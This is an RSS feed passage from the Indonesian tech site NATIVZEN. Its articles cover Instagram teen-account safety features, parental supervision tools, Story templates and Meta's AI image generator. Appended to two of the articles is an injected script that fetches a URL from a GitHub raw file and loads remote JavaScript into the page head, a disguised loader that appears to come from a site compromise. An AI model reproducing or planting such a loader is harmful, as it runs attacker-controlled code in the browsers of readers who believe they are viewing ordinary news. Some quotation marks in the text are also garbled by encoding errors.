<p><strong>NATIVZEN.com</strong> &#8211; Meta senantiasa berupaya melindungi kaum muda dari bahaya langsung maupun tidak langsung. Komitmen ini meliputi <a href="http://instagram.com/akunremaja" target="_blank" rel="noreferrer noopener">Akun Remaja</a> yang dirancang untuk memberikan pengalaman online yang sesuai usia dan mencegah kontak yang tidak diinginkan.</p>



<p>Komitmen ini juga dibangun dengan teknologi canggih yang akan menemukan dan menghapus konten eksploitatif. Guna memperkuat upaya tersebut, Meta telah memperkenalkan berbagai pembaruan fitur keamanan dan merilis data baru tentang dampak dari safety tools tersebut.</p>



<h3 class="wp-block-heading"><strong>Melindungi Remaja dari Kontak Tidak Aman atau Tidak Diinginkan</strong></h3>



<p>Meta telah menambahkan fitur keamanan baru pada Direct Message (DM) Akun Remaja untuk membantu remaja memahami lebih jauh akun yang mereka ajak bicara, dan juga mengenali kemungkinan penipuan.  </p>



<p>Kini, remaja dapat memilih untuk melihat Tips Keamanan dan memblokir akun, serta melihat bulan dan tanggal akun tersebut bergabung di Instagram. Informasi tersebut akan ditampilkan secara jelas di bagian atas obrolan baru.</p>



<figure class="wp-block-image"><img decoding="async" src="https://mail.google.com/mail/u/0?ui=2&amp;ik=fe0ea2fad7&amp;attid=0.0.1.1&amp;permmsgid=msg-f:1838939229573071040&amp;th=1985397c763bc0c0&amp;view=fimg&amp;fur=ip&amp;permmsgid=msg-f:1838939229573071040&amp;sz=s0-l75-ft&amp;attbid=ANGjdJ8EVKfUHqH9IMEHAfeWPcFlEtMEEDVs_o9KkP9a408XQfela5KM5rb9zNQ9jwQBOj68kYtd5cZIEo4ZSqMEkdKBaJ7Xsdidrek6D4NHHpklZKKyYOJYChXkAvg&amp;disp=emb&amp;zw" alt=""/></figure>



<p>Tak hanya smapi di situ, Meta juga telah secara resmi membuat gebrakan dengan meluncurkan opsi ‘blokir dan laporkan’ yang baru di DM, sehingga pengguna dapat melakukan kedua tindakan tersebut secara bersamaan. </p>



<p>Meskipun Meta selalu mendorong pengguna untuk memblokir dan melaporkan, opsi gabungan ini akan mempermudah proses tersebut dan memastikan akun pelanggar dilaporkan agar dapat ditinjau dan ditindaklanjuti.</p>



<figure class="wp-block-image"><img decoding="async" src="https://mail.google.com/mail/u/0?ui=2&amp;ik=fe0ea2fad7&amp;attid=0.0.1.2&amp;permmsgid=msg-f:1838939229573071040&amp;th=1985397c763bc0c0&amp;view=fimg&amp;fur=ip&amp;permmsgid=msg-f:1838939229573071040&amp;sz=s0-l75-ft&amp;attbid=ANGjdJ_kzujyI_TqiWGn_HzXobqVl6BT9JPWOvBXrC4XpV-JOKU8PiOR7-MFXZhchqMB5VmS-h0CNiuriayCUtoPIaae42qZmzff-phGlVNWHsWfQZ3IfoN99RKef3Y&amp;disp=emb&amp;zw" alt=""/></figure>



<p><em>BLOKIR DAN LAPORKAN</em></p>



<p>Fitur-fitur baru ini melengkapi pemberitahuan keamanan yang ditampilkan untuk mengingatkan pengguna agar berhati-hati terhadap pesan pribadi, serta untuk memblokir dan melaporkan apapun yang membuat mereka tidak nyaman. </p>



<p>Fitur ini telah banyak digunakan para remaja. Di bulan Juni, mereka telah memblokir akun sebanyak 1 juta kali dan melaporkan 1 juta akun setelah melihat pemberitahuan keamanan tersebut.</p>



<p>Di bulan Juli, remaja telah melihat <a href="https://about.fb.com/news/2024/10/instagram-campaign-protect-teens-sextortion-scams/" target="_blank" rel="noreferrer noopener">Peringatan Lokasi</a>di Instagram sebanyak 1 juta kali. Fitur ini memberikan notifikasi pada pengguna saat mereka berbicara dengan orang yang kemungkinan berada di negara lain. </p>



<p>Fitur ini dirancang untuk melindungi pengguna dari penipu (sextortion scammers) yang seringkali tidak jujur dengan lokasi mereka. Sebanyak 10% pengguna telah menggunakan fitur ini untuk mencari tahu langkah yang bisa mereka ambil.</p>



<figure class="wp-block-image"><img decoding="async" src="https://mail.google.com/mail/u/0?ui=2&amp;ik=fe0ea2fad7&amp;attid=0.0.1.3&amp;permmsgid=msg-f:1838939229573071040&amp;th=1985397c763bc0c0&amp;view=fimg&amp;fur=ip&amp;permmsgid=msg-f:1838939229573071040&amp;sz=s0-l75-ft&amp;attbid=ANGjdJ_2C_uAY7-rhIzAgSSQf-8whahADTaXMIBuXrWncIHZ5U1RyUHYvvLq63QHkerldCg6gIka6jzSH6urm7GQbvBqhf81h41TKxlq-doTHds0gYnQz6DgNWF_yOg&amp;disp=emb&amp;zw" alt=""/></figure>



<p><em>PERINGATAN LOKASI</em></p>



<p>Sejak fitur <a href="https://about.fb.com/news/2024/04/new-tools-to-help-protect-against-sextortion-and-intimate-image-abuse/" target="_blank" rel="noreferrer noopener">perlindungan ketelanjangan</a> diluncurkan secara global, 99% pengguna – termasuk remaja – tetap mengaktifkannya. Pada bulan Juni, sebanyak 40% gambar buram yang diterima di DM tetap buram, secara signifikan mengurangi paparan konten tidak diinginkan. </p>



<p>Perlindungan ketelanjangan ini <a href="https://about.fb.com/news/2025/04/introducing-new-built-in-restrictions-instagram-teen-accounts-expanding-facebook-messenger/" target="_blank" rel="noreferrer noopener">secara otomatis diaktifkan</a> untuk remaja dan mendorong pengguna untuk berpikir kembali sebelum mengirimkan gambar yang mengandung unsur ketelanjangan. </p>



<p>Hal ini pun terbukti cukup ampuh, yakni tercatat pada bulan Mei bahwa sebanyak 45% pengguna telah memutuskan untuk tidak mengirimkan gambar setelah mendapat peringatan ini. Tentu saja, fitur ini benar-benar bermanfaat bagi pengguna remaja. </p>



<p><img loading="lazy" decoding="async" height="264" width="302" src="https://mail.google.com/mail/u/0?ui=2&amp;ik=fe0ea2fad7&amp;attid=0.0.1.4&amp;permmsgid=msg-f:1838939229573071040&amp;th=1985397c763bc0c0&amp;view=fimg&amp;fur=ip&amp;permmsgid=msg-f:1838939229573071040&amp;sz=s0-l75-ft&amp;attbid=ANGjdJ8TvisSQB0JStdhUZO0G-6LzWkf7DeTVNAy_7pZZ9T7_Geu_as6CbrZhTkWJ_FNzDFga7wXlH3BNNZS2rLAWJb8b9YV8fQfFG0HP_c5OXNa_pp7CGb0uENll7E&amp;disp=emb&amp;zw"></p>



<p><em>PERLINDUNGAN KETELANJANGAN</em></p>



<h3 class="wp-block-heading"><strong>Fitur Perlindungan Akun Remaja untuk Akun Instagram yang Dikelola oleh Orang Dewasa yang Sebagian Besar Kontennya Menampilkan Anak-Anak</strong></h3>



<p>Meta juga memperketat perlindungan untuk akun yang dikelola orang dewasa yang sebagian besar kontennya menampilkan anak-anak. Ini mencakup orang dewasa yang rutin membagikan foto dan video anak-anak mereka, serta orang tua atau manajer bakat yang mengelola akun untuk remaja atau anak di bawah 13 tahun. </p>



<p>Meskipun usia minimal pengguna Instagram adalah 13 tahun, Meta <a href="https://help.instagram.com/517920941588885/?helpref=uf_share" target="_blank" rel="noreferrer noopener">memperbolehkan</a> orang dewasa mengelola akun yang mewakili anak di bawah 13 tahun, asalkan bio akun secara jelas menyatakan bahwa mereka adalah pengelolanya. </p>



<p>Jika Meta mendapati akun tersebut dioperasikan oleh anak itu sendiri, akun akan dihapus. Meskipun sebagian besar akun ini digunakan secara positif, sayangnya ada pihak yang berupaya menyalahgunakannya. </p>



<p>Misalnya dengan meninggalkan komentar bernuansa seksual di unggahan, atau meminta gambar seksual melalui DM, yang jelas melanggar peraturan Meta. Untuk membantu mencegah penyalahgunaan tersebut, Meta telah meluncurkan beberapa langkah. </p>



<p>Pertama, Meta telah memperluas beberapa <a href="https://about.fb.com/news/2024/09/instagram-teen-accounts/" target="_blank" rel="noreferrer noopener">perlindungan Akun Remaja</a> ke akun yang dikelola orang dewasa yang sebagian besar kontennya menampilkan anak-anak. Ini termasuk secara otomatis menempatkan akun-akun ini ke pengaturan pesan Meta yang paling ketat.</p>



<p>Hal itu bertujuan untuk mencegah pesan yang tidak diinginkan, dan mengaktifkan Kata Tersembunyi (Hidden Words), yang menyaring komentar-komentar menyinggung. Notifikasi akan ditampilkan di bagian atas <em>Feed</em> Instagram akun-akun ini</p>



<p>Juga memberitahukan bahwa pengaturan keamanan telah diperbarui, dan mendorong mereka untuk meninjau pengaturan privasi akun mereka juga. Perubahan ini akan diluncurkan dalam beberapa bulan mendatang.</p>



<p>Meta juga ingin mencegah orang dewasa yang berpotensi mencurigakan, seperti yang telah diblokir remaja, menemukan akun-akun ini. Meta tidak akan merekomendasikan akun-akun remaja  kepada orang dewasa yang mencurigakan dan sebaliknya.</p>



<p>Meta juga akan mempersulit mereka untuk saling menemukan di Pencarian, serta menyembunyikan komentar dari orang dewasa yang berpotensi mencurigakan di unggahan. Ini merupakan kelanjutan dari <a href="https://help.instagram.com/478012211024479/?helpref=uf_share" target="_blank" rel="noreferrer noopener">pembaruan</a> tahun lalu.</p>



<h3 class="wp-block-heading"><strong>Mengambil Tindakan Terhadap Akun Berbahaya di Internet</strong></h3>



<p>Awal tahun ini, tim spesialis Meta telah menghapus hampir 135.000 akun Instagram yang meninggalkan komentar seksual atau meminta gambar seksual dari akun yang dikelola orang dewasa yang menampilkan anak di bawah 13 tahun. </p>



<p>Meta juga telah menghapus 500.000 akun Facebook dan Instagram yang terkait dengan akun-akun tersebut. Pengguna akan menerima informasi bahwa akun yang berinteraksi secara tidak pantas dengan konten mereka telah dihapus, serta mendorong mereka untuk berhati-hati.</p>



<p>Pihak-pihak yang berusaha mengeksploitasi anak-anak tidak membatasi diri pada satu platform saja. Oleh karena itu, Meta juga membagikan informasi mengenai akun-akun ini dengan perusahaan teknologi lain melalui&nbsp;<a href="https://about.fb.com/news/2023/11/lantern-program-protecting-children-online/" target="_blank" rel="noreferrer noopener">program Lantern dari Tech Coalition</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Akun Instagram Remaja Bantu Orangtua Awasi Pergaulan Anak di Media Sosial</title>
		<link>https://nativzen.com/2025/07/22/akun-instagram-remaja-bantu-orangtua-awasi-pergaulan-anak-di-media-sosial/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Tue, 22 Jul 2025 06:25:43 +0000</pubDate>
				<category><![CDATA[APPS]]></category>
		<category><![CDATA[akun instagram remaja]]></category>
		<category><![CDATA[akun remaja]]></category>
		<category><![CDATA[instagram]]></category>
		<category><![CDATA[media sosial]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=20836</guid>

					<description><![CDATA[Dukungan dari Instagram ini bikin orang tua tidak lagi khawatir.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Meta, perusahaan induk dari Instagram, Facebook dan WhatsApp telah mengungkap Instagram Teen Accounts sejak September 2024. Akan tetapi, tidak banyak orang yang mengetahui karena penerapannya dilakukan secara bertahap di sejumlah negara.</p>



<p>Publik di Indonesia diingatkan kembali tentang kehadiran fitur ini melalui postingan Instagram yang dibagikan oleh Cipluk Carlita (@ciplukcarlita), seseorang yang bekerja di divisi Communications, Meta Indonesia.</p>



<p>&#8220;Bagi kita yang memiliki anak remaja, memastikan keamanan mereka saat online adalah hal yang selalu kita pikirkan. Kita ingin mereka bereksplorasi, sekaligus terlindungi,&#8221; tulis Cipluk dalam postingan Instagram.</p>



<p>Ia pun menjelaskan bahwa tools seperti Instagram Teen Accounts memiliki fitur yang dirancang untuk mendukung orangtua dengan lebih baik, memberi mereka ketenangan pikiran bahwa anak remaja mereka memiliki perlindungan yang tepat.</p>



<p>Dengan Instagram Teen Accounts, pengguna berusia 13–17 tahun akan secara otomatis akunnya berubah menjadi private account secara default. Selain itu, pengguna remaja akan memiliki pesan masuk yang terbatas, konten sesuai usia, kontrol DM &amp; fitur waktu layar dan pengawasan orangtua.</p>



<p>&#8220;Fitur-fitur yang ada pada Instagram Teen Account memungkinkan remaja bersosialisasi dan belajar dalam batasan yang sesuai dengan usia mereka, sehingga menciptakan lingkungan daring yang lebih aman,&#8221; jelas Cipluk.</p>



<h3 class="wp-block-heading">Mengapa Meta Rilis Fitur Instagram Teen Accounts?</h3>



<p>Di halaman blog milik Instagram, perusahaan juga menyadari bahwa tak sedikit para orangtua yang merasa khawatir anak remaja mereka mungkin melihat konten dewasa atau tidak pantas secara daring. Instagram menerapkan aturan yang lebih ketat terkait jenis konten yang dilihat remaja di aplikasi. </p>



<p>&#8220;Kami menghapus konten yang melanggar aturan kami dan menghindari rekomendasi konten yang berpotensi sensitif – seperti konten yang menjurus ke arah seksual atau konten yang membahas bunuh diri atau melukai diri sendiri,&#8221; jelas Instagram.</p>



<p>Dengan Akun Remaja Instagram, remaja akan ditempatkan dalam pengaturan kontrol konten sensitif yang paling ketat, sehingga mereka semakin kecil kemungkinannya untuk direkomendasikan ke konten sensitif.</p>



<h3 class="wp-block-heading">Di mana Saja Instagram Teen Accounts Berlaku?</h3>



<p>Instagram merencanakan memberlakukan Akun Remaja di Amerika Serikat, Inggris, Kanada, dan Australia, serta di Uni Eropa hingga akhir 2024. Kemudian, remaja di seluruh dunia akan mulai mendapatkan akun khusus ini pada Januari.</p>



<p>Kabarnya, Meta juga akan menghadirkan Akun Remaja ke platform Meta lainnya di 2025. Menurut perusahaan, ini adalah pembaruan besar yang akan mengubah pengalaman Instagram bagi jutaan remaja.</p>



<h3 class="wp-block-heading">Apa Saja Fitur Pengawasan yang Bisa Diakses Orangtua?</h3>



<p>Meskipun Akun Remaja menerapkan perlindungan baru secara otomatis, banyak orang tua ingin lebih terlibat dalam pengalaman anak remaja mereka. Instagram menambahkan fitur pengawasan, di mana pembaruan mencakup cara untuk:</p>



<ol>
<li>Mendapatkan Wawasan Tentang Siapa Saja yang Berbicara dengan Anak Remaja<br>Meskipun orang tua tidak dapat membaca pesan anak remaja mereka, kini mereka dapat melihat siapa saja yang telah dikirimi pesan oleh anak remaja mereka dalam tujuh hari terakhir.</li>



<li>Menetapkan Batas Waktu Harian Total untuk Penggunaan Instagram Anak Remaja<br>Orangtua dapat menentukan berapa banyak waktu yang dapat dihabiskan anak remaja mereka di Instagram setiap hari. Setelah anak remaja mencapai batas tersebut, mereka tidak akan dapat lagi mengakses aplikasi.</li>



<li>Memblokir Remaja Menggunakan Instagram untuk Jangka Waktu Tertentu<br>Orangtua dapat memilih untuk memblokir anak remaja mereka menggunakan Instagram di malam hari, atau jangka waktu tertentu, dengan satu tombol mudah.</li>



<li>Melihat Topik yang Sedang Dilihat Anak Remaja<br>Orangtua dapat melihat topik sesuai usia yang dipilih anak remaja mereka untuk melihat konten, berdasarkan minat mereka.</li>
</ol>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Ubah Screen Time Jadi Quality Time Bareng Keluarga</title>
		<link>https://nativzen.com/2025/07/20/ubah-screen-time-jadi-quality-time-bareng-keluarga/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Sun, 20 Jul 2025 04:08:17 +0000</pubDate>
				<category><![CDATA[HOW TO]]></category>
		<category><![CDATA[akun remaja instagram]]></category>
		<category><![CDATA[aplikasi instagram]]></category>
		<category><![CDATA[instagram]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=20745</guid>

					<description><![CDATA[Lewat fitur Akun Remaja Instagram, Meta hadir untuk bantu para orang tua merasa lebih tenang saat anak remajanya aktif di media sosial.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Di zaman serba digital ini, screen time alias waktu menatap layar sudah jadi bagian dari hidup kita, terutama buat para remaja. Tapi, pernah nggak sih kamu kepikiran kalau sebenarnya screen time juga bisa jadi quality time bareng keluarga?</p>



<p>Meta, perusahaan di balik Instagram, memahami tantangan yang dihadapi para orang tua dalam mendampingi anak remajanya di dunia maya. Lewat fitur Akun Remaja Instagram, Meta hadir untuk bantu para orang tua merasa lebih tenang dan percaya diri saat anak-anak mereka aktif di media sosial.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
<iframe loading="lazy" title="Instagram Teen Accounts" width="770" height="433" src="https://www.youtube.com/embed/A9PUMeAQRbA?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>
</div></figure>



<p>Tapi bukan cuma soal fitur, komunikasi juga penting banget. Yuk, cek beberapa tips kece dari Meta buat menjembatani dunia online dan offline antara orang tua dan remaja:</p>



<h3 class="wp-block-heading">Dengerin, Jangan Cuma Nyuruh</h3>



<p>Daripada langsung melarang atau mengkritik, orang tua sebaiknya mulai dengan ngobrol santai bersama anak remajanya. Tanyakan aplikasi favorit, konten yang sering mereka tonton, atau influencer yang mereka ikuti.</p>



<p><strong>Pro tips:</strong> Hindari ceramah panjang. Tunjukkan ketertarikan, bukan penghakiman.</p>



<h3 class="wp-block-heading">Jadi Support System, Bukan Polisi Digital</h3>



<p>Media sosial bisa jadi tempat yang asyik buat eksplorasi minat. Orang tua bisa jadi pendukung terbaik dengan memberi semangat dan rasa aman saat anak remajanya menemukan konten atau komentar yang kurang menyenangkan.</p>



<p><strong>Pro tips:</strong> Gunakan fitur seperti blokir, report, dan filter komentar buat menciptakan ruang yang lebih aman bagi anak remaja di rumah.</p>



<h3 class="wp-block-heading">Batasan, Jadi Bentuk Sayang</h3>



<p>Dengan Akun Remaja Instagram, remaja di bawah 18 tahun otomatis dapat proteksi privasi dan keamanan lebih ketat. Mulai dari siapa yang bisa DM, sampai filter konten yang lebih ketat, semuanya dirancang buat kenyamanan dan keamanan online.</p>



<p><strong>Pro tips:</strong> Yang keren: Remaja di bawah 16 tahun butuh izin orang tua buat mengubah pengaturan ini. Aman banget!</p>



<p>Kalau kamu atau orang tuamu ingin tahu lebih banyak soal fitur-fitur ini, langsung saja akses <a class="" href="http://www.meta.com/familycenter">Meta Family Center</a>. Di sana ada banyak info penting buat bantu keluarga tetap terkoneksi di dunia digital—tanpa drama.</p>



<h3 class="wp-block-heading"><em>Jadi, yuk ubah screen time kamu jadi quality time bareng keluarga. Biar makin dekat, makin nyambung, dan tetap aman di dunia maya!</em></h3>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Ini Kegunaan Fitur &#8220;Add Your Template&#8221; di Instagram</title>
		<link>https://nativzen.com/2023/12/17/ini-kegunaan-fitur-add-your-template-di-instagram/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Sun, 17 Dec 2023 01:09:33 +0000</pubDate>
				<category><![CDATA[Apps & OS]]></category>
		<category><![CDATA[instagram]]></category>
		<category><![CDATA[story]]></category>
		<category><![CDATA[template story]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=1835</guid>

					<description><![CDATA[Instagram telah meluncurkan template Story baru, dan ini memungkinkan pengguna untuk mempelajari Story pengguna yang lain.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Terkadang kita pernah menemukan Story yang keren di Instagram, dan ingin membuatnya sendiri seperti yang kita lihat. Namun, terasa membosankan jika mencoba menyalin format Story tersebut hanya sekadar untuk membuatnya sendiri.</p>



<p>Nah! Instagram punya fitur baru yang mungkin akan kamu sukai. Instagram baru saja meluncurkan template Story baru, dan ini memungkinkan kamu atau pengguna Instagram lainnya untuk mempelajari Story pengguna yang lain.</p>



<p>Diakui bahwa Instagram memang dihiasi dengan beragam Story dari pengguna, dan sejumlah pengguna berupaya keras untuk membuat Story semenarik mungkin. Sementara itu, di luar sana cukup banyak tools yang sebenarnya bisa membantu kita membuat Story yang keren.</p>



<p>Untuk membuat Story yang bisa menarik perhatian pengguna Instagram lainnya, tentunya kita harus piawai dalam memilih efek, filter, gambar, stiker, tag lokasi, dan masih banyak lagi. Di situlah fitur baru ini dihadirkan oleh Instagram.</p>



<p>Instagram menyebutnya â€œAdd Yours Templatesâ€, karena kamu dapat menambahkan putaran kamu sendiri ke templat yang kamu lihat di aplikasi. Saat kamu melihat Story tamplate yang disukai, kamu dapat menambahkan gambar, teks, dan GIF ke dalamnya.</p>



<h3 class="wp-block-heading">Cara Menambahkan Template Kamu Sendiri</h3>



<p>Jika kamu ingin menjadi rekan penulis Stories orang lain, kamu dapat dengan mudah membuat template sendiri. Silakan dan mulai membuat cerita. Tambahkan aset apa pun yang kamu inginkan seperti gambar, teks, atau GIF. </p>



<p>Setelah semuanya ditempatkan sesuai keinginan, ketuk tombol Stiker di kanan atas Story kamu. Di baris opsi atas, kamu akan melihat tombol â€œAdd Yours Templatesâ€. Ini akan meminta kamu untuk memasukkan prompt mengenai cerita kamu. </p>



<p>Pada dasarnya, tentang apa cerita kamu? Setelah itu, kamu akan menyelesaikan Story yang dibuat, dan siap untuk diposting. Orang lain yang melihat cerita kamu akan dapat menggunakan template tersebut dan menambahkan cerita mereka sendiri ke dalamnya.</p>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>1,1 Miliar Foto Dipakai Meta Melatih AI Image Generator Bikinannya</title>
		<link>https://nativzen.com/2023/12/09/11-miliar-foto-dipakai-meta-melatih-ai-image-generator-bikinannya/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Sat, 09 Dec 2023 09:29:16 +0000</pubDate>
				<category><![CDATA[Apps & OS]]></category>
		<category><![CDATA[NEWS]]></category>
		<category><![CDATA[ai image generator]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[instagram]]></category>
		<category><![CDATA[photo generator]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=1564</guid>

					<description><![CDATA[Terbilang cerdas karena â€œImagine with Meta AIâ€ ini dilatih menggunakan 1,1 miliar foto dari Instagram dan Facebook.]]></description>
										<content:encoded><![CDATA[
<p><strong>Nativzen.com</strong> &#8211; Meskipun teknologi kecerdasan buatan alias AI baru menjadi bagian dari kehidupan kita sejak tahun lalu, tetapi teknologi &#8220;masa depan&#8221; tersebut sudah ada dimana-mana. Hampir setiap layanan dan produk digital yang dihadirkan membawa teknologi AI. </p>



<p>Meta, salah satu perusahaan yang &#8220;menggilai&#8221; AI, baru-baru ini telah memperkenalkan website untuk membuat gambar gratis bernama â€œImagine with Meta AI.â€ Meskipun masih digunakan secara terbatas, namun website berbasis AI ini telah mendapat banyak pujian.</p>



<p>Terbilang cerdas karena â€œImagine with Meta AIâ€ ini dilatih menggunakan 1,1 miliar foto. Namun, yang cukup mengejutkan, 1,1 milir foto tersebut berasal dari foto-foto yang ada di Instagram dan Facebook. Tentu saja, tindakan ini membuat banyak orang khawatir.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="576" src="https://nativzen.com/wp-content/uploads/2023/12/imagine-with-meta-ai-facebook-instagram-photos-1-1024x576.jpg" alt="" class="wp-image-1566" srcset="https://nativzen.com/wp-content/uploads/2023/12/imagine-with-meta-ai-facebook-instagram-photos-1-1024x576.jpg 1024w, https://nativzen.com/wp-content/uploads/2023/12/imagine-with-meta-ai-facebook-instagram-photos-1-300x169.jpg 300w, https://nativzen.com/wp-content/uploads/2023/12/imagine-with-meta-ai-facebook-instagram-photos-1-768x432.jpg 768w, https://nativzen.com/wp-content/uploads/2023/12/imagine-with-meta-ai-facebook-instagram-photos-1-370x208.jpg 370w, https://nativzen.com/wp-content/uploads/2023/12/imagine-with-meta-ai-facebook-instagram-photos-1-270x152.jpg 270w, https://nativzen.com/wp-content/uploads/2023/12/imagine-with-meta-ai-facebook-instagram-photos-1-570x321.jpg 570w, https://nativzen.com/wp-content/uploads/2023/12/imagine-with-meta-ai-facebook-instagram-photos-1-740x416.jpg 740w, https://nativzen.com/wp-content/uploads/2023/12/imagine-with-meta-ai-facebook-instagram-photos-1.jpg 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Menanggapi kekhawatiran tersebut, Meta &#8220;membela&#8221; tindakannya. Perusahaan yang dipimpin oleh Mark Zuckerberg tersebut telah mengklarifikasi bahwa mereka secara eksklusif menggunakan gambar dari postingan publik, dan privasi pengguna dijamin keamanannya.</p>



<p>Penting untuk diperhatikan bahwa menggunakan foto yang tersedia diruang publik, seperti Instagram dan Facebook memang tidak melanggar standar privasi. Meski demikian, beberapa pihak menafsirkan tindakan Meta ini sebagai potensi pelanggaran perlindungan data pribadi.</p>



<p>Namun, 1,1 miliar foto tidaklah sebanyak yang dibayangkan. Instagram sendiri setiap harinya memiliki unggahan foto dan video sekitar 95 juta. Oleh karena itu, kemungkinan foto atau video kamu digunakan oleh layanan ini cukup kecil, meskipun ada kemungkinan. </p>



<p>Sejauh ini â€œImagine with Meta AIâ€ hanya tersedia untuk pengguna di Amerika Serikat, dan diharapkan Meta dapat memboyong layanan berbasis kecerdasan buatan tersebut untuk digunakan di negara lain. Bagaiamana menurut kamu, tertarik untuk menggunakannya?</p>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
